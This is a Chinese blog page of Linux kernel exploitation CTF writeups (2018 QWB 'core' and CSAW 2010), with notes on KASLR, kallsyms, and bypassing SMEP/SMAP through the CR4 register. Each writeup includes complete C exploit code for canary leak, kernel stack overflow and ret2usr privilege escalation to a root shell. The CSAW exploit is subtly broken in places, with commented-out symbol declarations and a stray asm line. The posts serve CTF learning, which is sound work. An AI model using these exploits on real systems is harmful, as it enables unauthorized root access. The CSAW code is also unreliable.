标签 linux kernel exploit 下的文章

2018 强网杯 core writeup

在学习 linux kernel exploit 技术以后在越来越觉得C语言指针的重要性,因为指针的问题,以至于这个exp我断断续续的写了接近一周。

保护分析

kaka@kaka-virtual-machine:~/kernelpwn/core/core$ checksec core.ko 
[*] '/home/kaka/kernelpwn/core/core/core.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)
kaka@kaka-virtual-machine:~/kernelpwn/core/core$ checksec vmlinux 
[*] '/home/kaka/kernelpwn/core/core/vmlinux'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0xffffffff81000000)
    RWX:      Has RWX segments

驱动文件存在canary,vmlinux的基址可以通过偏移计算其他函数/gadgets地址。并且在init文件中可以发现拷贝了一份kallsyms到tmp文件夹中,并且所有用户可读,因此可以泄露一些函数地址。

core.ko 驱动分析

core_ioctl 函数

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 v3; // rbx

  v3 = a3;
  switch ( a2 )
  {
    case 0x6677889B:
      core_read(a3);
      break;
    case 0x6677889C:
      printk(&unk_2CD);
      off = v3;
      break;
    case 0x6677889A:
      printk(&unk_2B3);
      core_copy_func(v3);
      break;
  }
  return 0LL;
}

根据第二个参数使用不同的功能。

core_read 函数

unsigned __int64 __fastcall core_read(__int64 a1)
{
  __int64 v1; // rbx
  __int64 *v2; // rdi
  signed __int64 i; // rcx
  unsigned __int64 result; // rax
  __int64 v5; // [rsp+0h] [rbp-50h]
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]

  v1 = a1;
  v6 = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  v2 = &v5;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 = (__int64 *)((char *)v2 + 4);
  }
  strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(v1, (char *)&v5 + off, 64LL);
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm { swapgs }
  return result;
}

copy_to_user 函数向userspace传递64字节数据,v5的地址处于函数栈顶,根据off参数设置新的偏移(地址),off参数可以通过ioctl设置,可以利用这个功能leak canary。

core_write 函数

signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 v3; // rbx

  v3 = a3;
  printk(&unk_215);
  if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )
    return (unsigned int)v3;
  printk(&unk_230);
  return 4294967282LL;
}

通过copy_from_user函数向一个全局变量地址写入不超过0x800字节的数据

core_copy_func 函数

signed __int64 __fastcall core_copy_func(signed __int64 a1)
{
  signed __int64 result; // rax
  __int64 v2; // [rsp+0h] [rbp-50h]
  unsigned __int64 v3; // [rsp+40h] [rbp-10h]

  v3 = __readgsqword(0x28u);
  printk(&unk_215);
  if ( a1 > 63 )
  {
    printk(&unk_2A1);
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(&v2, &name, (unsigned __int16)a1);
  }
  return result;
}

先对传入的a1(即读入数据的字节数)进行判断,如果大于 63 ,直接 return,但是没有对a1的正负做判断,

这里面将a1将之转换为 unsigned _int16 类型。因此如果我们传入一个负值(高位为1)时,就可以绕过。导致溢出。

利用分析

  • 首先需要leak canary,通过set off的值大于8即可,当set off的值为0x40时,leak的前八个字节就是canary。
  • 通过qemu的启动脚本可知,并没有开启smep,smap保护,可以直接在返回的的时候指向用户空间的代码,因此可以使用
    commit_creds(prepare_kernel_cred(0))得到root权限。
  • 64位系统 从内核空间->用户空间,需要执行两条指令swapgs;iretq;

swapgs指令通过用一个MSR中的值交换GS寄存器的内容。在进入内核空间例行程序(例如系统调用)时会执行swapgs指令以获取指向内核数据结构的指针,因此在返回用户空间之前需要一个匹配的swapgs。

rop

首先在core_read函数下一个断点,可以在$rsp+0x40处找到canary,在$rsp+0x50处发现一个驱动函数地址,可以根据这个地址找到gadgets对应的地址。

在core_copy_func函数ret指令处下一个断点

根据返回地址可以判断即将要执行用户空间提权代码,且返回地址位swapgs指令地址。

exploit

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>

#define COMMAND_READ 0x6677889B
#define COMMAND_PRINT 0x6677889C
#define COMMAND_COPY 0x6677889A

unsigned long user_cs,user_ss,user_rflags;
unsigned long long commit_creds = 0;
unsigned long long prepare_kernel_cred = 0;

static void save_state()
{
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "pushfq\n"
        "popq %2\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
        :
        : "memory");
}

void get_root()
{
    char * (* pkc)(int) = prepare_kernel_cred;
    void (* cc)(char *) = commit_creds;
    (* cc)((* pkc)(0));
}

void getshell()
{
    system("/bin/sh");
}

unsigned long get_symbol(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy, sym[512];
    int ret = 0;
 
    f = fopen("/tmp/kallsyms", "r");
    if (!f) {
    return 0;
    }
 
    while (ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
    if (ret == 0) {
        fscanf(f, "%s\n", sym);
        continue;
    }
    if (!strcmp(name, sym)) {
        printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
        fclose(f);
        return addr;
    }
    }
    fclose(f);
 
    return 0;
}

int main(int argc,char ** argv)
{
    commit_creds = get_symbol("commit_creds");
    prepare_kernel_cred = get_symbol("prepare_kernel_cred");
    char fake_stack[0x100];
    char * leak = (char *)malloc(1024);
    int fd = open("/proc/core",O_RDWR);

    ioctl(fd,COMMAND_PRINT,0x40);
    ioctl(fd,COMMAND_READ,leak);
    unsigned long long canary = ((unsigned long long *)leak)[0];
    printf("[*] canary : 0x%llx\n",canary);
    unsigned long long ret_addr = ((unsigned long long *)leak)[2];
    unsigned long long iret_addr = prepare_kernel_cred - 0x4c21e;
    save_state();
    unsigned long long payload[]={
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    canary,
    0x9090909090909090,
    &get_root,
    ret_addr - 0xc5,
    &fake_stack - 0x100,
    iret_addr,
    &getshell,
    user_cs,
    user_rflags,
    &fake_stack - 0x100,
    user_ss
    };
    write(fd,payload,sizeof(payload));
    ioctl(fd,COMMAND_COPY,0xf0000000000000b0);

    return 0;
}

linux kernel 保护机制介绍

由于自己还没有深入了解linux内核的保护机制,因此这篇文章长期更新。
看完muhe的linux kernel exploit的入门文章以后可以发现样例程序都是无保护措施的,最多加了一个canary保护,因此,想要深入学习还是首先要了解一下内核的保护措施

kaslr

MMAP_MIN_ADDR

mmap_min_addr是用来对抗null pointer dereference的,它不允许程序分配低内存,就像第一篇文章中的例子,空指针指向0,在其解引用时便会执行0地址处的代码。

kallsyms

前几篇文章中在写exp的时候,都会先确定commit_creds(),prepare_kernel_cred()函数的地址,/proc/kallsyms给出内核中所有symbol的地址,通过grep <function_name> /proc/kallsyms 就可以得到对应函数的地址,我们需要这个信息来写可靠的exploit,否则需要自己去泄露这个信息。在低版本的内核中所有用户都可读取其中的内容,高版本的内核中缺少权限的用户读取时会返回0.
linux kernel v2.6.32

linux kernel 4.15.0

smep/smap

smep:Supervisor Mode Execution Protection

管理模式执行保护。
保护内核使其不允许执行用户空间代码,前面的文章中,在介绍kernel stack overflow的exploit中,就是将内核栈的返回地址返回到用户空间的代码片段执行,开启smep之后,当 CPU 处于 ring0 模式时,执行 用户空间的代码 会触发页错误。
检查smep是否开启:cat /proc/cpuinfo | grep smep
smep 保护原理及绕过方法
操作系统是通过CR4寄存器的第20位的值来判断smep是否开启

  • 第20位 = 1时:smep开启
  • 第20位 = 0时:smep关闭
    可同通过mov指令给CR4寄存器赋值从而达到关闭smep的目的,相关的mov指令可以通过ropper,ROPgadget等工具查找。

smap: Supervisor Mode Access Protection

管理员模式访问保护
原理及绕过方法
操作系统是通过CR4寄存器的第21位判断的,绕过方式与smep类似

csaw 2010 kernel pwn

越来越发现内核知识的重要性,否则这道题理解起来还是挺困难的。想要理解这道题,还是要有proc文件系统相关知识的,想单独写在一篇文章里,

分析源码

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>

#define MAX_LENGTH 64

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Jon Oberheide");
MODULE_DESCRIPTION("CSAW CTF Challenge Kernel Module");

static struct proc_dir_entry *csaw_proc;

int
csaw_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];

    printk(KERN_INFO "csaw: called csaw_write\n");

    /*
     * We should be safe to perform this copy from userspace since our
     * kernel is compiled with CC_STACKPROTECTOR, which includes a canary
     * on the kernel stack to protect against smashing the stack.
     *
     * While the user could easily DoS the kernel, I don't think they
     * should be able to escalate privileges without discovering the
     * secret stack canary value.
     */
    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO "csaw: error copying data from userspace\n");
        return -EFAULT;
    }

    return count;
}

int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
    char buf[MAX_LENGTH];

    printk(KERN_INFO "csaw: called csaw_read\n");

    *eof = 1;
    memset(buf, 0, sizeof(buf));
    strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!\n");
    memcpy(page, buf + off, MAX_LENGTH);

    return MAX_LENGTH;
}

static int __init
csaw_init(void)
{
    printk(KERN_INFO "csaw: loading module\n");

    csaw_proc = create_proc_entry("csaw", 0666, NULL);
    csaw_proc->read_proc = csaw_read;
    csaw_proc->write_proc = csaw_write;

    printk(KERN_INFO "csaw: created /proc/csaw entry\n");

    return 0;
}

static void __exit
csaw_exit(void)
{
    if (csaw_proc) {
        remove_proc_entry("csaw", csaw_proc);
    }

    printk(KERN_INFO "csaw: unloading module\n");
}

module_init(csaw_init);
module_exit(csaw_exit);

csaw_read()

memcpy(page, buf + off, MAX_LENGTH);
会把buf+一段偏移后的内容拷贝到page页面,但是拷贝的字节数总是64,因此可以通过调整偏移将canary打印出来,然后通过构造payload提权,格式如下:
junk + canary + ret(利用函数)

csaw_write

使用copy_from_user 从用户空间拷贝数据,但是没有限制个数,导致溢出

Exploit

#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
void launch_shell(void) 
{ 
    execl("/bin/sh", "sh", NULL);
}
struct fake_trap_frame{
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
}__attribute__((packed));
struct fake_trap_frame fake_tf;
void prepare_tf(void){
    asm("pushl %cs;"
        "popl fake_tf+4;"
        "pushfl;"
        "popl fake_tf+8;"
    "pushl %esp;"
    "popl fake_tf+12;"
        "pushl %ss;"
    "popl fake_tf+16;");
    fake_tf.eip = &launch_shell;
    fake_tf.esp -= 1024;
}
/*
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1069d20;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc1069b80;
*/
void get_root(void){
    commit_creds(prepare_kernel_cred(0));
    asm("xor %eax,%eax;"
        "call 0xc1069d20;"
    "0xc1069b80;"
        "mov $fake_tf,%esp;"
    "iret;");
}

int main(){
    int fd = open("/proc/csaw",O_RDWR);
    if(!fd){
        printf("errorn");
        exit(1);
    }
    lseek(fd,16,SEEK_CUR);
    char buffer[64] = {0};
    read(fd,buffer,64);
    int i,j;
   // memset(buffer,0x41,64);
    for(i = 0;i<4;i++){
        for(j = 0;j<16;j++){
            printf("%02x ",buffer[i*16+j] & 0xff);
        }
        printf(" | ");
        for(j = 0;j<16;j++){
            printf("%c",buffer[i*16+j] & 0xff);
        }
        printf("\n");
    }
    char canary[4] = {0};
    memcpy(canary,buffer+32,4);
    printf("CANARY:");
    for(i = 0;i<4;i++){
        printf("%02x",canary[i] & 0xff);
    }
    printf("n");
    char exp_buf[0x60];
    memset(exp_buf,0x41,sizeof(exp_buf));
    memcpy(exp_buf+0x40,canary,4);
    *((void**)(exp_buf+0x50))=&get_root;
    prepare_tf();
    write(fd,exp_buf,sizeof(exp_buf));
    close(fd);
    return 0;
}

调试

在csaw_write下断点,找到ret地址下断点
ret

运行到ret时,查看栈顶指针对应的汇编

可以发现已经可以执行我们的payload

preView